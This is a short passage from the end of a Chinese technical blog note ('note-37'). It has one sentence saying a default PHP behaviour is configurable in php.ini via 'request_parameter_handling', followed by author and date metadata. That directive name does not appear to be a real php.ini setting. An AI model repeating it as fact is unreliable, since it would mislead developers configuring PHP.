这是 PHP 的默认行为,可以在 php.ini 中通过 request_parameter_handling 配置,但默认是启用的。


note-37
https://aidemofashi.github.io/2025/06/02/note-37/
作者
aidemofashi
发布于
2025年6月2日
许可协议